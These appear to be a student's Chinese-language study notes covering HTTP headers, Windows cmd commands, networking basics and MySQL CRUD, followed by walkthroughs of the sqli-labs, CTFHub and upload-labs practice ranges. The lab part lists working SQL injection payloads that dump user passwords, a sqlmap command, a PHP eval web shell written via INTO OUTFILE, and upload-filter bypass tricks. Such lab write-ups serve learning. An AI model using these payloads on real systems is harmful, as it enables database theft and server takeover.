(因为上次用了富文本,这次用markdown写)
本周任务:群文件“补充.pdf”中提到的任务,
学习计算机网络(书籍有:《计算机网络自顶向下方法》《计算机网络》,两周时间,学到哪写到哪,
大二同学在以上基础上,部署群文件-靶场中的三个靶场,
一.学习Mysql增删改查,
二.尝试完成SQL靶场前5关
三.学习PHP(三周左右,能初步看懂靶场源码;没学计网的先学计网,下周再看php也可)
一.pdf中的任务
任务一:vm kali虚拟机(已安装)
任务二,任务三:burp
在前一个任务中已经用burp抓过一些题目,完成了弱口令等一些任务所以不过多赘述,还差这个知识点不太清楚
解释抓取到的请求包和响应包的各个字段
1.HTTP请求包
请求包:请求行,请求头,【空行】,请求体
请求头(key value形式)
User-Agent:产生请求的浏览器类型。Accept:客户端可识别的内容类型列表。
Host:主机地址
post方法中,会把数据以key value形式发送请求空行 发送回车符和换行符,通知服务器以下不再有请求头 Accept
就是告诉服务器端,我接受那些MIME类型Accept-Encoding 这个看起来是接受那些压缩方式的文件
Accept-Lanague 告诉服务器能够发送哪些语言
Connection 告诉服务器支持keep-alive特性
Cookie 每次请求时都会携带上Cookie以方便服务器端识别是否是同一个客户端
Host 用来标识请求服务器上的那个虚拟主机,比如Nginx里面可以定义很多个虚拟主机 那这里就是用来标识要访问那个虚拟主机。
User-Agent 用户代理,一般情况是浏览器,也有其他类型,如:wget curl 搜索引擎的蜘蛛等
2.HTTP响应包
响应包:响应行,响应头,【空行】,响应体
【响应行】规则:HTTP/版本号 响应码(状态码) 例:HTTP/1.1 200 OK
常用状态码:
200 OK 客户端请求成功
400 Bad Request 由于客户端请求有语法错误,不能被服务器所理解。
401 Unauthonzed 请求未经授权。这个状态代码必须和WWW-Authenticate报头域一起使用403 Forbidden 服务器收到请求,但是拒绝提供服务。服务器通常会在响应正文中给出不提供服务的原因
404 Not Found 请求的资源不存在,例如,输入了错误的URL。
500 Internal Server Error 服务器发生不可预期的错误,导致无法完成客户端的请求。
503 Service Unavailable 服务器当前不能够处理客户端的请求,在一段时间之后,服务器可能会恢复正常。
【响应头】服务器端的信息
条件请求首部:
If-Modified-Since 是浏览器向服务器端询问某个资源文件如果自从什么时间修改过,那么重新发给我,这样就保证服务器端资源件更新时,浏览器再次去请求,而不是使用缓存中的文件
安全请求首部:
Authorization: 客户端提供给服务器的认证信息;在ctfhub题目中遇到过
二.cmd指令
文件夹命令
输入“d:”进入d盘
进入文件夹 cd D:\typora\file
返回上一级 cd…
跳转到根目录 cd
跳转指定路径(假设现在在D:\typora跳转到D:\网页下载)cd D:\网页下载
打开文件夹或文件 start 文件名字
新建文件夹 md d:\typora\file
mkdir newtest 进入根目录后使用
新建空文件
cd.>file.txt
cd.>file.docx
cd.>file.ppt
type nul> newtest.txt
type nul>.txt
新建非空文件
echo 文件中的内容>new.txt
删除文件(如果是del 文件夹A是删除文件夹A内的所有带后缀的文件,若文件夹A中有文件夹B,文件夹B不会被修改)
del file.txt
删除指定后缀的文件
del *.txt
del *.docx
删除名为file的空文件夹
rd file
删除名为file的文件夹
rd /s D:\file
删除file文件夹下的所有文件
rd file /s
生成目录树,在文件少一些的路径尝试。要不会运行好久,ctrl+c可以停掉
tree
tree /f
遍历当前路径下所有文件dir
显示当前目录及子文件dir /s
显示文件以及文件大小、个数 dir /d
显示文件 dir /b
shutdown /s 1分钟后关机
shutdown /a 取消关机命令
shutdown /r 关机并且重启
shutdown /h 休眠计算机
1 互联网的构成
网络边缘:位于互联网边缘与互联网相连的计算机和其他设备,如桌面计算机、移动计算机、服务器、其他智能终端设备
网络核心:由互联端系统的分组交换设备和通信链路构成的网状网络
如:分组交换路由器、链路层交换机、通信链路(光纤、铜缆、无线电、激光链路)
2.网络分类
个域网PAN( Personal Area Network )
能在便携式消费电器与通信设备之间进行短距离通信的网络
覆盖范围一般在10米半径以内,如蓝牙耳机等
局域网LAN(Local Area Network)
局部地区形成的区域网络,如企业网络
分布地区范围有限,可大可小,大到一栋建筑、小到办公室内的组网
电脑WLAN接入,打印机共享等等
城域网MAN(Metropolitan Area Network )
范围覆盖一个城市的网络
广域网WAN(Wide Area Network)
覆盖很大地理区域,乃至覆盖地区和国家
3.接入网
接入网的用途
接入网的用途是将主机连接到边缘路由器上
边缘路由器是端系统Host去往任何其他远程端系统的路径上的第一台路由器
各种异构网络通过边缘路由器接入
接入网分类:
光纤到户FTTH
数字用户线DSL
同轴电缆
无线接入
企业和家庭网络
4.网络核心的两大功能
①路由
确定数据分组从源到目标所使用的路径(全局操作)
②转发
路由器或交换机将接收到的数据分组转发出去(即移动到该设备的某个输出接口)(本地操作)
5.网络分层
①OSI 7层模型
数据链路层 (Data Link Layer)
实现相邻(Neighboring)网络实体间的数据传输
成帧(Framing):从物理层的比特流中提取出完整的帧
错误检测与纠正:为提供可靠数据通信提供可能
物理地址(MAC address):48位,理论上唯一网络标识,烧录在网卡,不便更改
流量控制,避免“淹没”(overwhelming):当快速的发送端遇上慢速的接收端,接收端缓存溢出
共享信道上的访问控制(MAC):同一个信道,同时传输信号。如同:同一个Wifi热点(AP)连接着多个无线用户(手机),则多个用户同时需要发送数据,如何控制发送顺序?
网络层 (Network Layer)
将数据包跨越网络从源设备发送到目的设备(host to host)
路由(Routing):在网络中选取从源端到目的端转发路径,常常会根据网络可达性动态选取最佳路径,也可以使用静态路由
路由协议:路由器之间交互路由信息所遵循的协议规范,使得单个路由器能够获取网络的可达性等信息
服务质量(QoS)控制:处理网络拥塞、负载均衡、准入控制、保障延迟
异构网络互联:在异构编址和异构网络中路由寻址和转发
传输层 (Transport Layer)
将数据从源端口发送到目的端口(进程到进程)
网络层定位到一台主机(host),传输层的作用域具体到主机上的某一个进程
网络层的控制主要面向运营商,传输层为终端用户提供端到端的数据传输控制
两类模式:可靠的传输模式,或不可靠传输模式
可靠传输:可靠的端到端数据传输,适合于对通信质量有要求的应用场景,如文件传输等
不可靠传输:更快捷、更轻量的端到端数据传输,适合于对通信质量要求不高,对通信响应速度要求高的应用场景,如语音对话、视频会议等
会话层 (Session Layer)
利用传输层提供的服务,在应用程序之间建立和维持会话,并能使会话获得同步
表示层(Presentation Layer)
关注所传递信息的语法和语义,管理数据的表示方法,传输的数据结构
应用层(Application Layer)
1、“增”——添加数据
1.1 为表中所有字段添加数据
1.1.1 INSERT 语句中指定所有字段名
语法:INSERT INTO 表名(字段名1,字段名2,…)
VALUES(值1,值2,…);
举例:INSERT INTO student(id,name,grade)
VALUES(1,‘zhangshan’,98);
使用SELECT * FROM student;命令查看结果为:
表示数据已经成功插入。
1.1.2 INSERT语句中不指定字段名
若不指定字段名,则添加的值的顺序应和字段在表中的顺序完全一致。
语法:INSERT INTO 表名 VALUES(值11,值2,…);
举例:INSERT INTO student
VALUES (2,‘lisi’,62);
使用SELECT * FROM student;命令查看结果为:
1.2 为表的指定字段添加数据
为指定字段添加数据,即只向部分字段添加值,而其他字段的值为表定义时的默认值。
语法:INSERT INTO 表名(字段1,字段2,…)
VALUES(值1,值2,…)
举例:INSERT INTO student(id,name)
VALUES(3,‘wangwu’);
使用SELECT * FROM student;命令查看结果为:
从结果中可以看出,新记录的grade字段值为NULL,是因为添加时为指明grade的值,系统会自动添加默认值。
1.3 INSERT语句的其他写法
语法:INSERT INTO 表名
SET 字段名1=值1[,字段名2=值2,…]
举例:INSERT INTO student
SET id=4,name=‘zhaoliu’,grade=72;
使用SELECT * FROM student;命令查看结果为:
1.4 同时添加多条数据
语法:INSERT INTO 表名[(字段名1,字段名2,…)]
VALUES (值1,值2,…),(值1,值2,…),
…
(值1,值2,…)
举例:INSERT INTO student VALUES
(5,‘lilei’,99),
(6,‘hanmeimei’,87),
(8,‘poly’,76);
使用SELECT * FROM student;命令查看结果为:
2、“删”——删除数据
语法:DELETE FROM 表名 [WHERE 条件表达式
2.1 删除部分数据
即删除指定的部分数据,需要使用WHERE子句来指定删除记录的条件。
举例:删除student表中的id值为7的记录
命令:DELETE FROM student
WHERE id=7;
使用SELECT * FROM student;命令查看结果为:
可见id为7的记录已被成功删除。
2.2 删除全部数据
若 DELETE 语句中没有使用WHERE语句,则会将表中所有记录都删除。
语法:DELETE FROM 表名
举例:删除student表中的所有记录
命令:DELETE FROM student;
使用SELECT * FROM student;命令查看结果为:
可见student表中记录为空,说明表中所有数据已被成功删除。
2.2 删除全部数据的另一种方法——TRUNCATE
语法:TRUNCTE [TABLE ] 表名
举例:TRUNCATE TABLE student;即可删除student表
注意:
(1)DELETE 后面可以跟WHERE子句指定删除部分记录,TRUNCATE只能删除整个表的所有记录
(2)使用TRUNCATE语句删除记录后,新添加的记录时,自动增长字段(如本文中student表中的 id 字段)会默认从1开始,而使用DELETE删除记录后,新添加记录时,自动增长字段会从删除时该字段的的最大值加1开始计算(即原来的id最大为5,则会从6开始计算)。所以如果是想彻底删除一个表的记录而且不会影响到重新添加记录,最好使用TRUNCATE来删除整个表的记录。
3、“改”——更新数据
更新数据指对表中现存的数据进行修改。
语法:UPDATE 表名
SET 字段名1=值1,[ ,字段名2=值2,…]
[ WHERE 条件表达式 ]
在执行后面的语句之前,先使用INSERT语句往student表中插入以下数据:
3.1 UPDATE 更新部分数据
指更新指定表中的指定记录,使用WHERE 子句来指定。
举例:将student表中id值为1=记录,将其name字段的值改为‘caocao’,grade字段的值改为50。
先查询之前的记录:SELECT * FROM student WHERE id=1;
显示为:
命令:UPDATE student
SET name=‘caocao’,grade=50
WHERE id=1;
使用SELECT * FROM student;命令查看结果为:
可见表中数据已被成功更新。
注意:还可以使用其他WHERE条件表达式,如:id > 4;
3.2 UPDATE 更新全部数据
在UPDATE 语句中若不使用WHERE 子句,则会将表中所有记录的指定字段都进行更新。
举例:更新student表中全部记录,将grade字段都更新为80
命令:UPDATE student
SET grade=80;
使用SELECT * FROM student;命令查看结果为:
可以看出所有数据已被成功更新。
4、“查”——之单表查询
MySQL从数据表中查询数据最基本的语句是SELECT语句,在前面的“增删查”已经使用过:SELECT * FROM 表名,也就是查询指定数据表中的所有数据。下面将对SELECT语句进行详细介绍。
在进行后面的操作之前我们先建立一个新的数据表student2,如下:
CREATE TABLE student2
(
id INT(3) PRIMARY KEY AUTO_INCREMENT,
name VARCHAR(20) NOT NULL,
grade FLOAT,gender CHAR(2)
);
此处的PRIMARY KEY表示将该字段设为主键,AUTO_INCREMENT表示将该字段设为开始值是 1,每条新记录自动递增 1,,所以在插入数据时不需为该字段设值;NOT NULL表示将该字段限制为非空值(此处不作详细讲解)
再向student2表中插入如下数据:
INSERT INTO student2(name,grade,gender)
VALUES (‘songjiang’,40,‘男’),(‘wuyong’,100,‘男’),(‘qinming’,90,‘男’),(‘husanniang’,88,‘女’),(‘sunerniang’,66,‘女’),(‘wusong’,86,‘男’),(‘linchong’,92,‘男’),(‘yanqing’,90,NULL);
注意:若因为此处插入的数据包含了中文而导致无法插入,可将“男/女”改为“man/woman”,或者将字段编码改为utf-8(方法自行百度,此处不做讲解)。
——————————————————————————————————————————
4.1 简单查询
4.1.1 查询所有字段
语法:SELECT 字段名1,字段名2,…
FROM 表名
举例:查询student2表中的所有记录
命令:SELECT id,name,grade ,gender
FROM student2;
结果:
注意:字段顺序可以更改,如:
SELECT id,grade,gender ,name
FROM student2;
则显示的结果也会作出对应的调整:
4.1.2 在SELECT语句中使用(‘ * ’)通配符代替所有字段
语法:SELECT * FROM 表名;
部署靶场
SQL注入(SQL Injection)是一种常见的Web安全漏洞,主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。 从而导致数据库受损(被脱库、被删除、甚至整个服务器权限陷)。
即:注入产生的原因是后台服务器接收相关参数未经过滤直接带入数据库查询
存在回显,说明存在注入漏洞
使用 1' order by 3 %23
得到列数为3
?id=-1'union select 1,2,3--+
?id=-1'union select 1,database(),version()--+
information_schema.tables表示该数据库下的tables表,点表示下一级。where后面是条件,group_concat()是将查询到结果连接起来。如果不用group_concat查询到的只有user。该语句的意思是查询information_schema数据库下的tables表里面且table_schema字段内容是security的所有table_name的内容。也就是下面表格user和passwd。
?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
Less-2 基于错误的get整型注入
"SELECT * FROM users WHERE id=$id LIMIT 0,1"
"SELECT * FROM users WHERE id=1 ' LIMIT 0,1"出错信息。
?id=1 order by 3
?id=-1 union select 1,2,3
?id=-1 union select 1,database(),version()
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'
?id=-1 union select 1,2,group_concat(username ,id , password) from users
Less-3 基于错误的get单引号变形字符型注入
?id=2'的时候看到页面报错信息。可推断sql语句是单引号字符型且有括号
?id=2')--+
?id=1') order by 3--+
?id=-1') union select 1,2,3--+
?id=-1') union select 1,database(),version()--+
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1') union select 1,2,group_concat(username ,id , password) from users--+
在这里插入图片描述](https://img-blog.csdnimg.cn/966054d4073e4fadbeb5f95759434ff3.png)
Less-4 基于错误的GET双引号字符型注入
?id=1") order by 3--+
?id=-1") union select 1,2,3--+
?id=-1") union select 1,database(),version()--+
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1") union select 1,2,group_concat(username ,id , password) from users--+
Less-5 双注入GET单引号字符型注入
?id=1'and length((select database()))>9--+
#大于号可以换成小于号或者等于号,主要是判断数据库的长度。lenfth()是获取当前数据库名的长度。如果数据库是haha那么length()就是4
?id=1'and ascii(substr((select database()),1,1))=115--+
#substr("78909",1,1)=7 substr(a,b,c)a是要截取的字符串,b是截取的位置,c是截取的长度。布尔盲注我们都是长度为1因为我们要一个个判断字符。ascii()是将截取的字符转换成对应的ascii吗,这样我们可以很好确定数字根据数字找到对应的字符。
?id=1'and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13--+
判断所有表名字符长度。
?id=1'and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99--+
逐一判断表名
?id=1'and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20--+
判断所有字段名的长度
?id=1'and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99--+
逐一判断字段名
?id=1' and length((select group_concat(username,password) from users))>109--+
判断字段内容长度
?id=1' and ascii(substr((select group_concat(username,password) from users),1,1))>50--+
逐一检测内容。
left: Left ( string, n ) 得到字符串左部指定个数的字符, substr: substr(string,
start, length) 和substring()函数一样,截取字符串,第一个为处理的字符串,开始位置,长度 mid:
MID(column_name,start[,length]) // 前两个字段为必须,length
为可选,选择开始字段,开始位置,截取长度。 ascii: 返回字符串str的最左字符的数值,返回ascii值,0-255
length: 对字段长度破解,一般先对长度破解,然后在爆破字段值,这个一般采用二分法进行破解。 strcmp: 可以配合left
来使用,如果相等返回0 小于返回1 大于返回-1 regexp: 通过regexp 和 正则表达式来获取字段 这个时候
会匹配所有的字段,所以limit已经不起作用 1’ and left(version(),1)=5 %23 //
判断当最左侧字符等于5时 返回you are in 1’ and left(version(),2)=5.%23 //
可以通过这样慢慢推出整个字段值 使用substr 和ascii 来推出表名 1’ and ascii(substr(select
table_name from information_schema.tables where table_schema =
database() limit 0,1),1,1) > 80 %23 尝试使用regexp 1’ and (select 1 from
information_schema.columns where table_name = ‘users’ and column_name
regexp ‘^pass[a-z]’ ;)=1 %23 使用 ord mid ord 和ascii 一样
mid(column_name,start[,length]) //
从位置start开始,截取column_name字符串的length位,与substr作用相同 这里就类似ascii(substr) ==
ord(mid()) cast(username as char) 将 username 转成字符串 ifnull(exp1,exp2)
exp1 不为null 则IFNULL()的返回值为exp1;
否则其返回值为exp2。IFNULL()的返回值是数字或是字符串,具体情况取决于其所使用的语境。 1 ’ and
ord(mid((select ifnull (cast(username as char), 0x20) from
security.users order by id limit 0,1),1,1)) = 127 %23
Less-6 双注入GET双引号字符型注入
将第五关的单引号换成双引号就可以了
Less-7 导出文件GET字符型注入
导出命令: union select 1,2,3 into outfile “绝对地址” %23
- paylaod
// 一般web都存放在默认的目录下,比如:
1 c:/inetpub/wwwroot/
2 linux的nginx一般是/usr/local/nginx/html
3 /home/wwwroot/default
4 /usr/share/nginx
5 /var/www/html
然后 验证是否具有这几个条件
1 获取文件权限的可读
1’)) and (select count(*) from mysql.user)>0 %23
2 注入文件
这里要求猜一下他的绝对路径
id=-1’)) union select 1,2,3 into outfile “\xxx\1.txt” %23
之后使用
id=-1’)) union select 1,“<?php @eval($_POST['giantbranch']);?>” into outfile “XXX\test.php” %23
Less-8 布尔型单引号GET盲注
Length()函数 返回字符串的长度
Substr()截取字符串
Ascii()返回字符的ascii码
sleep(n):将程序挂起一段时间 n为n秒
if(expr1,expr2,expr3):判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句
利用brup爆破,找到值
Less-9 基于时间的GET单引号盲注
?id=1' and if(1=1,sleep(5),1)--+
判断参数构造。
?id=1'and if(length((select database()))>9,sleep(5),1)--+
判断数据库名长度
?id=1'and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+
逐一判断数据库字符
?id=1'and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13,sleep(5),1)--+
判断所有表名长度
?id=1'and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99,sleep(5),1)--+
逐一判断表名
?id=1'and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20,sleep(5),1)--+
判断所有字段名的长度
?id=1'and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99,sleep(5),1)--+
逐一判断字段名。
?id=1' and if(length((select group_concat(username,password) from users))>109,sleep(5),1)--+
判断字段内容长度
?id=1' and if(ascii(substr((select group_concat(username,password) from users),1,1))>50,sleep(5),1)--+
逐一检测内容。
Less-10 基于时间的双引号盲注
同第九关
Less-11 基于错误的PSOT单引号字符
前十关使用的是get请求,参数都体现在url上面,而从十一关开始是post请求,参数是在表单里面。我们可以直接在输入框进行注入就行。并且参数不在是一个还是两个。根据前面的认识我们可以猜测sql语句。大概的形式应该是这样username=参数 and password=参数 ,只是不知道是字符型还是整数型。
当我们输入1时出现错误图片
当我们输入1’,出现报错信息。根据报错信息可以推断该sql语句username=‘参数’ and password=‘参数’
Less-12 基于错误的双引号POST型字符变形注入
1"的时候页面出现报错信息,就可以知道sql语句是双引号且有括号
Less-13 POST 单引号变形双注入
将双引号改成单引号即可
ctfhub 字符型注入
?id=1' and 1=1 --+ 返回正确
?id=1' and 1=2 --+ 返回错误
?id=1' order by 2 --+ 返回正确
?id=1' order by 3 --+ 返回错误
`?id=1' order by 2 -- - 返回正确
?id=1' order by 2 -- / 返回正确
?id=1' and 1=2 union select 1,database()--+
?id=1' and 1=2 union select 1,group_concat(table_name)from information_schema.tables where table_schema='sqli'--+
?id=1' and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name='flag'--+
?id=1' and 1=2 union select 1,group_concat(flag) from sqli.flag--+
报错注入
/`?id=1 and updatexml(1,concat(0x5e,(select group_concat(column_name) from information_schema.columns where table_name=sqli),0x5e),1)
布尔盲注,时间盲注
用sqlmap,手工注入过于复杂
python2 sqlmap.py -u http://challenge-c3a65482adf6bcfd.sandbox.ctfhub.com:10800/?id=1 --batch --technique T -D sqli -T flag -C flag --dump
upload
前端js拦截了,我们先将php文件后缀修改成合法的格式(.gif ),在使用burpsuite抓包,再修改.php后缀就可
Pass-02(MIME验证)
后端PHP代码只对content-type进行了检查,修改上传的PHP的content-type为image/png
变为image/jpeg
Pass-03(黑名单验证,特殊后缀)
进行黑名单验证,但是黑名单不全,可以使用php3、php5、phtml等等绕过
只匹配了$deny_ext = array(‘.asp’,‘.aspx’,‘.php’,‘.jsp’);
#AddType application/x-httpd-php .php .phtml
为AddType application/x-httpd-php .php .phtml .php5 .php3
记得去掉#号。
Pass-04(黑名单验证,.htaccess)
.htaccess可以帮我们实现包括:文件夹密码保护、用户自动重定向、自定义错误页面、改变你的文件扩展名、封禁特定IP地址的用户、只允许特定IP地址的用户、禁止目录列表,以及使用其他文件作为index文件等一些功能。
好了,我们开始上传一个.htaccess内容如下的文件:
Pass-05(黑名单验证,.user.ini.)
php. .绕过上传
Pass-06(黑名单验证,大小写绕过)
把.php 格式改为 .Php 上传上去之后,就会自动解析为.php
Pass-07(黑名单验证,空格绕过)
修改上传一句话木马文件名zoe.php (这里有空格)
Pass-08(黑名单验证,点号绕过)
修改上传一句话木马文件名zoe.php.(注意这里有个点)
Pass-09(黑名单验证,特殊字符::$DATA绕过)
php在window的时候如果文件名+"::$DATA"会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持"::$DATA"之前的文件名 他的目的就是不检查后缀名。
Pass-10(黑名单)
deldot()函数从后向前检测,当检测到末尾的第一个点时会继续它的检测,但是遇到空格会停下来 (zoe.php. .)
Pass-11(黑名单验证,双写绕过)
上传zoe.php 然后用bp改后缀为.pphphp使用蚁剑连接zoe.php
Pass-12(get00截断)
php的一些函数的底层是C语言,而move_uploaded_file就是其中之一,遇到0x00会截断,0x表示16进制,URL中%00解码成16进制就是0x00。
zoe.php%00
Pass-13(post 00截断)
改了post传参
Pass-14(图片马unpack)
cmd使用 copy 777.png/b + zoe.php pass14.png 制作图片马
Pass-15(getimagesize图片马)
构造的URL为include.php?file=upload/8620210320174003.png
Pass-16(exif_imagetype图片马)
构造的URL为include.php?file=upload/ 8620210320175536.png